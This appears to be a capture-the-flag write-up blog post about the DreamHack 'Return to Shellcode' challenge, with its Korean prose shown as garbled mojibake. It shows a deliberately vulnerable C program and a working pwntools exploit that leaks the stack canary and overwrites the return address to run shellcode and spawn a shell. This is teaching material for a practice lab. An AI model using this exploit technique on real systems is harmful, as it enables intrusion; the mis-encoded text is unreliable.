๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

DreamHack - Return to Shellcode ํ’€์ด

by Janger 2023. 5. 1.
728x90
๋ฐ˜์‘ํ˜•

 

r2s.c
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

 

์นด๋‚˜๋ฆฌ ๊ฐ’ ์ฒดํฌ

<main+8>์—์„œ ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ๋งค๋ฒˆ ๋ฐ”๋€Œ๋Š” ์นด๋‚˜๋ฆฌ๊ฐ€ ์ €์žฅ๋œ fs:0x28์ด ์Šคํƒ [rbp-0x8]์— ์ €์žฅ์ด ๋œ๋‹ค. 

QWORD PTR fs:0x28 = QWORD PTR  [rbp-0x8]

 

main ํ•จ์ˆ˜ ์ข…๋ฃŒ ๋ถ€๋ถ„์— ์œ„์น˜ํ•œ <main+249>์—๋Š” fs:0x28(์นด๋‚˜๋ฆฌ)๊ณผ ์Šคํƒ [rbp-0x8]์„ ์„œ๋กœ ๋น„๊ตํ•˜๋ฉด์„œ ๊ฐ’์ด ์ผ์น˜ํ•˜๋‹ค๋ฉด(ZF=1) leave ๋ถ€๋ถ„์œผ๋กœ ์ ํ”„๋ฅผ ํ•˜๊ฒŒ ๋  ๊ฒƒ์ด๊ณ , ์ผ์น˜ํ•˜์ง€ ์•Š๋‹ค๋ฉด ์Šคํƒ์ด ์กฐ์ž‘๋œ ๊ฒƒ์„ ๊ฐ์ง€ํ•˜๊ฒŒ ๋œ๋‹ค. 

 

 

 

ํŒŒ์ผ ๋ณดํ˜ธ ๊ธฐ๋ฒ• ํ™•์ธ(checksec)

 

Canary found๋ฅผ ๋ณด๋ฉด ์Šคํƒ ์นด๋‚˜๋ฆฌ๊ฐ€ ํ™œ์„ฑํ™”๊ฐ€ ๋œ ๊ฒƒ์„ ํ™•์ธ. 

NX(No-eXecute)๋Š” ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒƒ์„ ๋ณด๋ฉด ์‰˜์ฝ”๋“œ๋Š” ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋‹จ๊ฑธ ์•Œ ์ˆ˜ ์žˆ๋‹ค. 

 

 

์นด๋‚˜๋ฆฌ ์šฐํšŒ ๋ฐฉ๋ฒ•

 

Buf + \x00 + canary (7bytes)

1. 0x58+1๋งŒํผ์˜ ๋”๋ฏธ๊ฐ’์„ ์ž…๋ ฅํ•˜์—ฌ Canary ๊ฐ’์„ ๊ณต๊ฒฉ์ž๊ฐ€ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค.

(+1์„ ํ•œ ์ด์œ ๋Š” Canary์˜ ๋„(\x00)๊นŒ์ง€ ๋ฌธ์ž๋ฅผ ๋ฎ์–ด์„œ printf %s ์ถœ๋ ฅ ์‹œ Canary์˜ ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•จ)

 

2. ์‚ฌ์šฉ์ž ์ž…๋ ฅ ์ดํ›„์— ๋‚˜์˜ค๋Š” ๊ฐ’์„ p.recvn(7)์œผ๋กœ 7 ๋ฐ”์ดํŠธ ๋งŒํผ ์ฝ์–ด ๋“ค์ธ๋‹ค.

(1.)์—์„œ ์ž…๋ ฅ ๋ฌธ์ž๊ฐ€ \x00๊นŒ์ง€ ๋ฎ์–ด ์”Œ์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ์•ž์— \x00์„ ๋ซ๋ถ™์ธ๋‹ค. (\x00 + 7 ๋ฐ”์ดํŠธ) = ์นด๋‚˜๋ฆฌ ๊ฐ’

 

3. ๋‘๋ฒˆ์งธ์— ์ž…๋ ฅ(gets)์—๋Š” ์‰˜์ฝ”๋“œ + ๋”๋ฏธ๊ฐ’ + ์นด๋‚˜๋ฆฌ + SFP + buf ์ฃผ์†Œ๋ฅผ ์ „๋‹ฌ. 

์ดํ›„์— ์˜ค๋ฒ„๋ผ์ดํŒ…์ด ๋˜๋ฉด์„œ ์นด๋‚˜๋ฆฌ ๊ฐ’์€ ๋ณ€ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๊ฐ์ง€๋˜์ง€ ์•Š๋Š”๋‹ค. 

 

*๋…ธํŠธ

๋ฆฌํ‹€ ์—”๋””์–ธ์—์„œ๋Š” ์ž…๋ ฅํ•œ ๊ฐ’ ์ˆœ์„œ๋ฅผ ๋ฐ˜๋Œ€๋กœ ์ €์žฅ์„ ํ•˜๊ณ , ์ถœ๋ ฅ์„ ํ•  ๋•Œ์—๋Š” ์ด๋ฅผ ๋‹ค์‹œ ๋’ค์ง‘์–ด ์›๋ž˜ ์ˆœ์„œ๋Œ€๋กœ ๊ฐ€์ ธ์˜จ๋‹ค. 

ex)

์ž…๋ ฅ: 0x12 0x34 0x56

์ €์žฅ: 0x56 0x34 0x12

์ถœ๋ ฅ: 0x12 0x34 0x56

 

๋งŒ์•ฝ ์นด๋‚˜๋ฆฌ๊ฐ€ 0x12345600์œผ๋กœ ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅ์ด ๋ผ์žˆ์„ ๊ฒฝ์šฐ ์ด๋ฅผ ๋ฌธ์ž์—ด๋กœ ์ถœ๋ ฅํ•˜๊ฒŒ ๋˜๋ฉด

์—ญ์ˆœ์œผ๋กœ 0x00 0x56 0x34 0x12๊ฐ€ ๋‚˜์˜ค๊ฒŒ ๋œ๋‹ค. 

 

๊ณต๊ฒฉ์ž๊ฐ€ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ์กฐ์ž‘ํ•˜๊ฒŒ ๋œ๋‹ค๋ฉด

 

์ž…๋ ฅ: 0X61 ... 0x61

์นด๋‚˜๋ฆฌ: 0x12345661 

์ด๋Ÿฐ์‹์œผ๋กœ ๋’ค์— ๋ถ€๋ถ„์ด ๋ฎ์–ด ์”Œ๊ฒŒ ๋œ๋‹ค. 

 

์ด๋ฅผ ๋‹ค์‹œ ํ”„๋ฆฐํŠธ ์ถœ๋ ฅํ•˜๋ฉด

0x61 0x56 0x34 0x12์œผ๋กœ ๋ณด์ผ ํ…Œ๊ณ  0x61์„ ์ œ์™ธํ•œ ๋‚˜๋จธ์ง€(0x56 0x34 0x12) ์•ž์—๋‹ค 0x00์„ ๋ถ™์ด๊ณ (0x00563412) ๋‹ค์‹œ ์ˆœ์„œ๋ฅผ ๋’ค์ง‘์œผ๋ฉด ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ๊ตฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค. 

>> 0x12345600

 

 

 

exploit.py
from pwn import *

context.arch = "amd64"
# p = remote("host3.dreamhack.games", 20875)
p = process("./r2s")

p.recvuntil("Address of the buf: ")
addr_of_buf = int(p.recvn(14), 16)

p.recvuntil("$rbp: ")
rbp = int(p.recvn(2))

payload = b'a' * (rbp-8+1)
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))

shellcode = asm(shellcraft.sh())
payload = shellcode
payload += b'b' *  ( 88 - len(shellcode) )
payload += p64(canary)
payload += b'c' * 8
payload += p64(addr_of_buf)

p.sendlineafter("Input: ", payload)

p.interactive()

 

 

์ฐธ๊ณ : 

https://thfist-1071.tistory.com/entry/Dreamhack-Wargame-Canary%EC%99%80-Return-to-Shellcode-Write-up

 

[Dreamhack Wargame] Canary์™€ Return to Shellcode Write up

์•„๋ฌด๋ž˜๋„ ๊ธฐ์–ต๋ ฅ์ด ๋‚˜์œ ํŽธ์ด๋ผ ๊ณ„์†ํ•ด์„œ ์ผ๋˜ ์ฝ”๋“œ๋ฅผ ์žŠ์–ด๋ฒ„๋ฆฌ๋„ค์š”. ๊ทธ๋ž˜์„œ ๋ธ”๋กœ๊ทธ๋ฅผ ์‹œ์ž‘ํ–ˆ์ง€๋งŒ ์•”ํŠผ, ๋ฌธ์ œ ํ’€์ด๋ฅผ ํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ๋ฌธ์ œ ์ด๋ฒˆ ๋ฌธ์ œ๋„ ์‚ฌ์‹ค ํ’€์ด๋Š” ์ด๋ฏธ ์ด์ „์— ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜

thfist-1071.tistory.com

 

728x90
๋ฐ˜์‘ํ˜•